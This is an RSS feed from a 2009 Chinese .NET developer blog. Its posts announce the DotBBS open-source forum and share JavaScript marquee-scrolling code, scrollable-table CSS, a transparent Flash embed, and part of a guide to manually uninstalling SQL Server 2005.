﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-阿强.Net</title><link>http://www.cnblogs.com/aqiang/</link><description>关注研究:设计模式,.Net Framework底层框架,Asp.net,WinForm开发,开源框架;</description><language>zh-cn</language><lastBuildDate>Mon, 06 Jul 2009 07:48:06 GMT</lastBuildDate><pubDate>Mon, 06 Jul 2009 07:48:06 GMT</pubDate><ttl>60</ttl><item><title>.Net开源项目大全发布</title><link>http://www.cnblogs.com/aqiang/archive/2009/06/24/1510461.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Wed, 24 Jun 2009 10:34:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/06/24/1510461.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1510461.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/06/24/1510461.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1510461.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1510461.html</trackback:ping><description><![CDATA[<p>数百个开源项目，希望能给您带来帮助。</p>
<p>网址：<a href="http://www.dotbbs.net/adds/open.aspx">http://www.dotbbs.net/adds/open.aspx</a></p> <img src ="http://www.cnblogs.com/aqiang/aggbug/1510461.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48002/" target="_blank">竞争日趋激烈 微软欲借 Windows 7 扭转战局</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>DotBBS V1.8.0发布，欢迎下载</title><link>http://www.cnblogs.com/aqiang/archive/2009/04/19/1439270.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Sun, 19 Apr 2009 12:50:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/04/19/1439270.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1439270.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/04/19/1439270.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1439270.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1439270.html</trackback:ping><description><![CDATA[<p><a href="http://www.dotbbs.net/bbs/Topic-426.aspx"><font color="#009933">http://www.dotbbs.net/bbs/Topic-426.aspx</font></a></p>
<p>DotBBS是一个Asp.Net开源论坛,轻量、安全、易扩展、易整合.<br />技术支持:http://www.dotbbs.net,QQ:27029363，EMail:dongfang106@gmail.com</p>
<p>-----------新增功能及改进-------------------------------------------------<br />1 增加Url转发开关控制，可自定义扩展名.</p>
<p>2 增加保留最后活动位置，即登陆、注册前在那个位置，登陆后跳到那个位置.</p>
<p>3 增加了会员注册时，EMail是否重复验证.</p>
<p>4 改变了资源引用方法,由根目录路径方式改为相对路径方式.</p>
<p>5 增加了最新回复列表.</p>
<p>6 增加了友情链接自助申请.</p>
<p>7 增加了改换皮肤功能.</p>
<p>-----------功能介绍-------------------------------------------------------</p>
<p>1 DotBBS采用轻量级三层结构架构，更容易扩展.</p>
<p>2 采用独创的随机加密模式，让密码更安全.</p>
<p>3 采用缓存技术，让系统性能大幅提高.</p>
<p>4 支持RSS订阅.</p>
<p>5 下载就可使用，可与其他系统轻松整合.</p>
<p>6 采用sql过滤，Js过滤，防止sql注入.</p>
<p>7 Cookie采用随机加密技术，让用户信息更安全.</p>
<p>8 采用Ajax技术，大幅提高用户感受.</p>
<p>9 支持Url转发，提高SEO.</p>
<p>-----------运行环境-------------------------------------------------------</p>
<p>1 .Net Framework2.0</p>
<p>2 IIS5.0以上版本</p>
<p>3 Access2000以上版本</p>
<p>-----------版权信息-------------------------------------------------------</p>
<p>1 DotBBS版权(界面及程序)归吸铁石团队(水煮鱼),http://www.dotbbs.net所有,所有个人，及非赢利机构可免费使用.</p>
<p>2 所有个人、及非赢利机构可在本源码基础上扩展使用，禁止对本源码修改后重新发布.</p>
<p>3 所有使用者必须保留本系统的版权信息，及链接.</p>
<p>-----------免责声明-------------------------------------------------------</p>
<p>1 当您的网站使用本论坛后，您论坛内容中所涉及的一切法律责任均与DotBBS无关.</p>
<p><a href="http://www.dotbbs.net/bbs/Topic-426.aspx">http://www.dotbbs.net/bbs/Topic-426.aspx</a></p><img src ="http://www.cnblogs.com/aqiang/aggbug/1439270.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48001/" target="_blank">上海电信计划2012年80%用户实现100M带宽</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>Js不间断滚动-上</title><link>http://www.cnblogs.com/aqiang/archive/2009/04/09/1432617.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Thu, 09 Apr 2009 09:49:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/04/09/1432617.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1432617.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/04/09/1432617.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1432617.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1432617.html</trackback:ping><description><![CDATA[&lt;div id=link_logo style="OVERFLOW: hidden; WIDTH: 600px; HEIGHT: 468px"&gt;<br />&nbsp; &lt;div id=link_logo1 style="OVERFLOW: hidden"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;table width="100%" height="468" border="0" cellpadding="0" cellspacing="0"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td height="468" valign="top" style="color:#ffffff;line-height:25px;"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DotBBS|Asp.Net开源论坛&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/div&gt;<br />&nbsp; &lt;div id=link_logo2&gt;&lt;/div&gt;<br />&lt;/div&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&lt;script&gt;<br />&nbsp;var speed=65<br />&nbsp; link_logo2.innerHTML=link_logo1.innerHTML<br />&nbsp;&nbsp;&nbsp; function Marquee2(){<br />&nbsp;&nbsp; if(link_logo2.offsetTop-link_logo.scrollTop&lt;=0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link_logo.scrollTop-=link_logo1.offsetHeight<br />&nbsp;&nbsp;&nbsp;&nbsp; else{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link_logo.scrollTop++<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var MyMar2=setInterval(Marquee2,speed)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link_logo.onmouseover=function() {clearInterval(MyMar2)}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link_logo.onmouseout=function() {MyMar2=setInterval(Marquee2,speed)}<br />&lt;/script&gt;<img src ="http://www.cnblogs.com/aqiang/aggbug/1432617.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48000/" target="_blank">数万名网友签名抗议星际争霸2取消局域网功能</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>JS不间断滚动-下</title><link>http://www.cnblogs.com/aqiang/archive/2009/04/09/1432596.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Thu, 09 Apr 2009 09:22:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/04/09/1432596.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1432596.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/04/09/1432596.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1432596.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1432596.html</trackback:ping><description><![CDATA[<ol><li>
<p>&lt;div id=demo style=overflow:hidden;height:139;width:232;background:#f4f4f4;color:#ffffff&gt;&lt;div id=demo1&gt;</p>
<p>&lt;img src="<a href="http://www.showweb.cn/uploadfile/200901/3/143733017.jpg">http://www.showweb.cn/uploadfile/200901/3/143733017.jpg</a>"&gt;</p>
<p>&lt;img src="<a href="http://www.showweb.cn/uploadfile/200812/24/1832399205.jpg">http://www.showweb.cn/uploadfile/200812/24/1832399205.jpg</a>"&gt;</p>
<p>&lt;img src="<a href="http://www.showweb.cn/uploadfile/200812/24/1854199833.jpg">http://www.showweb.cn/uploadfile/200812/24/1854199833.jpg</a>"&gt;</p>
<p>&lt;img src="<a href="http://www.showweb.cn/uploadfile/200901/2/1413155985.jpg">http://www.showweb.cn/uploadfile/200901/2/1413155985.jpg</a>"&gt;</p>
<p>&lt;img src="<a href="http://www.showweb.cn/uploadfile/200812/7/1244111377.jpg">http://www.showweb.cn/uploadfile/200812/7/1244111377.jpg</a>"&gt;</p>
<p>&nbsp; &lt;/div&gt;</p>
<p>&nbsp; &lt;div id=demo2&gt;&lt;/div&gt;</p>
<p>&nbsp; &lt;/div&gt;</p>
<p>&nbsp;&nbsp;&nbsp; &lt;script&gt;</p>
<p>&nbsp;&nbsp;&nbsp; var speed=30</p>
<p>&nbsp;&nbsp;&nbsp; demo2.innerHTML=demo1.innerHTML</p>
<p>&nbsp;&nbsp;&nbsp; demo.scrollTop=demo.scrollHeight</p>
<p>&nbsp;&nbsp;&nbsp; function Marquee(){</p>
<p>&nbsp;&nbsp;&nbsp; if(demo1.offsetTop-demo.scrollTop&gt;=0)</p>
<p>&nbsp;&nbsp;&nbsp; demo.scrollTop+=demo2.offsetHeight</p>
<p>&nbsp;&nbsp;&nbsp; else{</p>
<p>&nbsp;&nbsp;&nbsp; demo.scrollTop--</p>
<p>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; var MyMar=setInterval(Marquee,speed)</p>
<p>&nbsp;&nbsp;&nbsp; demo.onmouseover=function() {clearInterval(MyMar)}</p>
<p>&nbsp;&nbsp;&nbsp; demo.onmouseout=function() {MyMar=setInterval(Marquee,speed)}</p>
<p>&nbsp;&nbsp;&nbsp; &lt;/script&gt;<br /></p></li></ol><img src ="http://www.cnblogs.com/aqiang/aggbug/1432596.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48000/" target="_blank">数万名网友签名抗议星际争霸2取消局域网功能</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>当表格内容超过预设的长宽后，自动产生滚动条</title><link>http://www.cnblogs.com/aqiang/archive/2009/03/02/1401558.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Mon, 02 Mar 2009 07:39:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/03/02/1401558.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1401558.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/03/02/1401558.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1401558.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1401558.html</trackback:ping><description><![CDATA[<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #000000">document.getElementById(</span><span style="color: #000000">"</span><span style="color: #000000">out</span><span style="color: #000000">"</span><span style="color: #000000">).scrollTop</span><span style="color: #000000">=</span><span style="color: #000000">document.getElementById(</span><span style="color: #000000">"</span><span style="color: #000000">out</span><span style="color: #000000">"</span><span style="color: #000000">).scrollHeight;</span></div>
<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #000000">&lt;style&gt;<br />
#out{<br />
&nbsp;&nbsp;&nbsp; WIDTH:800px;<br />
&nbsp;&nbsp;&nbsp; HEIGHT:300px;<br />
&nbsp;&nbsp;&nbsp; POSITION:relative;<br />
&nbsp;&nbsp;&nbsp; OVERFLOW-X:scroll; <br />
&nbsp;&nbsp;&nbsp; OVERFLOW-Y:</span><span style="color: #000000">scroll</span><span style="color: #000000">; <br />
&nbsp;&nbsp;&nbsp; SCROLLBAR-ARROW-COLOR:#48b4fc;<br />
&nbsp;&nbsp;&nbsp; SCROLLBAR-BASE-COLOR:#D6E9FC;<br />
}<br />
&lt;/style&gt;<br />
<br />
&lt;div id="out"&gt;<br />
&lt;table width="780" height="280"&gt;<br />
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;<br />
......<br />
&lt;/table&gt;<br />
&lt;/div&gt;<br />
</span></div>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1401558.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47999/" target="_blank">Silverlight打造杰克逊纪念专题</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>吸铁石网新发布</title><link>http://www.cnblogs.com/aqiang/archive/2009/02/26/1398799.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Thu, 26 Feb 2009 06:36:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/02/26/1398799.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1398799.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/02/26/1398799.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1398799.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1398799.html</trackback:ping><description><![CDATA[<p><a href="http://www.xitieshi.cn/" target="_blank">吸铁石网</a>新版发布了，欢迎访问!</p>
<p>天津网站建设，<a href="http://www.xitieshi.cn/" target="_blank">吸铁石网，企业建站领先品牌</a>!</p>
<a href="http://www.xitieshi.cn/shownews.aspx?ID=21" target="_blank">
<p>天津网站建设 - 吸铁石网</p>
</a>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1398799.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47998/" target="_blank">传诺基亚正在开发Android手机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>如何制作透明FLASH </title><link>http://www.cnblogs.com/aqiang/archive/2009/02/24/1397221.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Tue, 24 Feb 2009 06:28:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/02/24/1397221.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1397221.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/02/24/1397221.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1397221.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1397221.html</trackback:ping><description><![CDATA[1 透明Flash的使用方法： <br />
在插入flash的代码中插入&lt;param name="wmode" value="transparent"&gt;即可实现flash背景透明 <br />
如： <br />
&lt;table width="605" height="136" border="0" cellpadding="0" cellspacing="0" background="http;//www.dabaoku.com/flash/images/logo5.jpg"&gt; <font color="#ff0000"><span class="style2">&lt;!--设置单元格背景为图片背景（当然要放一个好看的了） --&gt; </span><br />
</font>&lt;tr&gt;<br />
&lt;td&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="605" height="136"&gt;<br />
&lt;param name="movie" value="http://www.dabaoku.com/flash/flash/132.swf"&gt;<br />
&lt;param name="quality" value="high"&gt;<br />
&lt;param name="wmode" value="transparent"&gt; <font color="#ff0000"><span class="style2">&lt;!--这里代码可使Flash背景透明 --&gt; </span><br />
</font>&lt;embed src="http://www.dabaoku.com/flash/flash/132.swf" width="605" height="136" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"&gt;&lt;/embed&gt;<br />
&lt;/object&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
<img src ="http://www.cnblogs.com/aqiang/aggbug/1397221.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47996/" target="_blank">7月编程语言排行榜</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>如何手动卸载SQL Server 2005 实例</title><link>http://www.cnblogs.com/aqiang/archive/2009/02/14/1390701.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Sat, 14 Feb 2009 12:21:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2009/02/14/1390701.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1390701.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2009/02/14/1390701.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1390701.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1390701.html</trackback:ping><description><![CDATA[<p>当安装过SQL Server 2005之后，如果安装过程中出错的话，卸载并不容易卸干净。尤其是卸载SQL Server 实例，如果没有卸载掉实例，并不能通过重新安装SQL Server来覆盖它。在Vista系统下更是如此，在百度、Google的时候，有些网友在回答这个问题的时候说：SQL Server 2005与Vista不兼容，请楼主换个系统吧？呵呵。。</p>
<p>如果想完全卸载SQL Server 2005，需要以下几步即可：（这两个步骤摘自MSDN）</p>
<h4 id="tocHeadRef">步骤 1：确保 Microsoft SQL Server 安装支持文件组件已安装</h4>
<p><script type="text/javascript"><!-- loadTOCNode(3, 'moreinformation');
// --></script>在&#8220;添加或删除程序&#8221;中，确保&#8220;Microsoft SQL Server 安装支持文件&#8221;出现在已安装的程序列表中。如果&#8220;Microsoft SQL Server 安装支持文件&#8221;出现在该列表中，请转到&#8220;步骤 2：运行命令以卸载 SQL Server 组件&#8221;一节。<br />
<br />
如果&#8220;Microsoft SQL Server 安装支持文件&#8221;没有出现在该列表中，请先安装该组件，然后再继续。要安装该组件，请按照下列步骤操作： </p>
<table class="list ol" border="0">
    <tr>
            <td class="number">1.</td>
            <td class="text">找到原始的 SQL Server 2005 安装介质。</td>
        </tr>
        <tr>
            <td class="number">2.</td>
            <td class="text">要安装支持文件，请双击&#8220;Servers\setup\sqlsupport.msi&#8221;文件。</td>
        </tr>
    </table>
<p><strong>注意</strong>：在&#8220;步骤 5：卸载 Microsoft SQL Server 安装支持文件组件&#8221;一节中，将卸载该组件。 </p>
<h4 id="tocHeadRef">步骤 2：运行命令以卸载 SQL Server 组件</h4>
<p><script type="text/javascript"><!-- loadTOCNode(3, 'moreinformation');
// --></script>在命令提示符下，运行下面的命令： </p>
<div class="indent"><strong>"%ProgramFiles%\Microsoft SQL Server\90\Setup Bootstrap\ARPWrapper.exe /Remove"</strong></div>
<p>一次卸载一个 SQL Server 组件，直到所有 SQL Server 组件都卸载。<br />
<br />
<strong>注意</strong>：&#8220;添加或删除程序&#8221;还会使用&#8220;/Remove&#8221;选项运行 ARPWrapper.exe 程序。但是，对 ARPWrapper.exe 程序的引用可能已删除。<br />
